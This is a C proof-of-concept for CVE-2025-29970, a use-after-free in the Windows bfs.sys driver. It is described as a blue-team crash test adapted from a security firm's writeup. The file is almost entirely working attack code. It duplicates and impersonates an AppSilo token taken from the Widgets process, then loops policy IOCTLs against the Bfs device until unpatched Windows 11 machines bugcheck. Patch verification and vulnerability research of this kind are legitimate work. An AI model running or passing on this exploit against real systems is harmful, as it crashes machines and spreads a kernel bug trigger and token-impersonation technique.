// poc_cve_2025_29970.c — CVE-2025-29970 bfs.sys DirectoryBlockList UAF (blue-team crash PoC)
//
// Adapted from PixiePoint Security's writeup:
//   https://www.pixiepointsecurity.com/blog/nday-cve-2025-29970/
//
// Bug: BfsCloseStorage frees the DirectoryBlockList HEAD inside the cleanup loop
// and dereferences it on the next iteration (list head is freed at end of
// iteration 1, read at start of iteration 2 when the list has >1 entry).
// Patched (KB5058411, bfs 10.0.26100.4061) by splitting the loop into
// BfsCloseRootDirectory and moving the head free outside the loop.
//
// Requirements / expected results:
//   - Run from a MEDIUM IL process on a pre-KB5058411 Windows 11 24H2.
//   - Needs an AppSilo (LowBox) token: this PoC duplicates one from a running
//     packaged process (default: WebExperience host). Adjust TARGET_PACKAGE_EXE
//     if needed.
//   - After enough add/delete loops the freed 0x20-byte head is reclaimed and
//     the machine bugchecks 0x50 in bfs!BfsCloseStorage. On a patched build the
//     loop completes without a crash.
//
// Build (VS developer prompt):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_29970.c

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define BFS_DEVICE        L"\\\\?\\GLOBALROOT\\Device\\Bfs"
#define IOCTL_SET_POLICY  0x228004   // BfsProcessSetPolicyRequest
#define IOCTL_DEL_POLICY  0x228010   // BfsProcessDeletePolicyEntryRequest
#define LOOPS             0x10000

// Packaged (AppSilo) process to borrow a token from.
// WebExperience = widgets; present on default Win11 installs.
#define TARGET_PACKAGE_EXE L"Widgets.exe"
// Temp path inside that package's AC container — the impersonated token can
// create/access files there, which BfsProcessSetPolicyRequest requires.
#define PACKAGE_TEMP_DIR  L"C:\\Users\\%USERNAME%\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\AC\\Temp"
#define TARGET_FILE_NAME  L"testFile.txt"

typedef struct _SetPolicyRequest {
    HANDLE   hToken;
    __int64  IsDirectory;      // 0 = file, 2 = directory
    __int64  unknownFlag;      // 0x10000000 per writeup
    __int64  FilenameLength;   // bytes, no NUL
    void*    FilenameBuffer;   // NT-style path (\??\C:\...)
    __int64  OperationType;    // 0 = add/modify, 2 = disable (NOT the buggy delete)
} SetPolicyRequest, *PSetPolicyRequest;

typedef struct _DeletePolicyRequest {
    HANDLE   hToken;
} DeletePolicyRequest, *PDeletePolicyRequest;

static HANDLE FindAppSiloToken(void) {
    // Find a packaged process and duplicate its (AppSilo) token.
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return NULL;

    PROCESSENTRY32W pe = { sizeof(pe) };
    HANDLE hToken = NULL;
    for (BOOL ok = Process32FirstW(snap, &pe); ok && !hToken; ok = Process32NextW(snap, &pe)) {
        if (_wcsicmp(pe.szExeFile, TARGET_PACKAGE_EXE) != 0) continue;
        HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
        if (!hProc) continue;
        HANDLE hProcToken = NULL;
        if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, &hProcToken)) {
            if (DuplicateTokenEx(hProcToken, TOKEN_ALL_ACCESS, NULL,
                                 SecurityImpersonation, TokenImpersonation, &hToken)) {
                printf("[+] Duplicated token from %ws (pid %lu)\n", pe.szExeFile, pe.th32ProcessID);
            }
            CloseHandle(hProcToken);
        }
        CloseHandle(hProc);
    }
    CloseHandle(snap);
    return hToken;
}

static void CreateTargetFile(const wchar_t* dir, const wchar_t* ntPathOut, size_t ntPathOutChars) {
    wchar_t path[MAX_PATH];
    _snwprintf(path, MAX_PATH, L"%ws\\%ws", dir, TARGET_FILE_NAME);
    HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileW(%ws) failed: %lu — create the package Temp dir first\n", path, GetLastError());
    } else {
        printf("[+] Created %ws\n", path);
        CloseHandle(h);
    }
    _snwprintf(ntPathOut, ntPathOutChars, L"\\??\\%ws", path);
}

static void Ioctl_SetPolicy(HANDLE hDevice, HANDLE hToken, const wchar_t* ntPath) {
    SetPolicyRequest req = { 0 };
    req.hToken         = hToken;
    req.IsDirectory    = 0;
    req.OperationType  = 0;
    req.unknownFlag    = 0x10000000;
    req.FilenameBuffer = (void*)(uintptr_t)ntPath;
    req.FilenameLength = (DWORD)wcslen(ntPath) * sizeof(wchar_t);
    DWORD ret = 0;
    DeviceIoControl(hDevice, IOCTL_SET_POLICY, &req, sizeof(req), NULL, 0, &ret, NULL);
}

static void Ioctl_DeletePolicy(HANDLE hDevice, HANDLE hToken) {
    DeletePolicyRequest req = { hToken };
    DWORD ret = 0;
    DeviceIoControl(hDevice, IOCTL_DEL_POLICY, &req, sizeof(req), NULL, 0, &ret, NULL);
}

int wmain(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2025-29970 - bfs.sys DirectoryBlockList UAF (blue-team crash PoC)\n");
    printf("Source: PixiePoint Security. Pre-KB5058411 builds should bugcheck 0x50 in bfs!BfsCloseStorage.\n");

    HANDLE hToken = FindAppSiloToken();
    if (!hToken) {
        printf("[-] No AppSilo token found — is %ws running? (open Widgets once)\n", TARGET_PACKAGE_EXE);
        return 1;
    }

    HANDLE hDevice = CreateFileW(BFS_DEVICE, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Open %ws failed: %lu (need Medium IL)\n", BFS_DEVICE, GetLastError());
        return 1;
    }
    printf("[+] %ws opened\n", BFS_DEVICE);

    if (!ImpersonateLoggedOnUser(hToken)) {
        printf("[-] ImpersonateLoggedOnUser failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Impersonating AppSilo token\n");

    wchar_t dir[MAX_PATH];
    ExpandEnvironmentStringsW(PACKAGE_TEMP_DIR, dir, MAX_PATH);
    wchar_t ntPath[MAX_PATH + 8];
    CreateTargetFile(dir, ntPath, MAX_PATH + 8);

    printf("[+] Looping SetPolicy(0x%06x)/DeletePolicy(0x%06x) x0x%x ...\n",
           IOCTL_SET_POLICY, IOCTL_DEL_POLICY, LOOPS);
    printf("[+] Unpatched: BSOD 0x50 in bfs!BfsCloseStorage. Patched: completes cleanly.\n");
    for (int i = 0; i < LOOPS; i++) {
        Ioctl_SetPolicy(hDevice, hToken, ntPath);
        Ioctl_DeletePolicy(hDevice, hToken);
        if ((i & 0xFFF) == 0xFFF) printf("[*] loop %d/0x%x\n", i + 1, LOOPS);
    }

    RevertToSelf();
    CloseHandle(hDevice);
    CloseHandle(hToken);
    printf("[+] Done — no crash observed (patched, or freed head never reclaimed).\n");
    return 0;
}
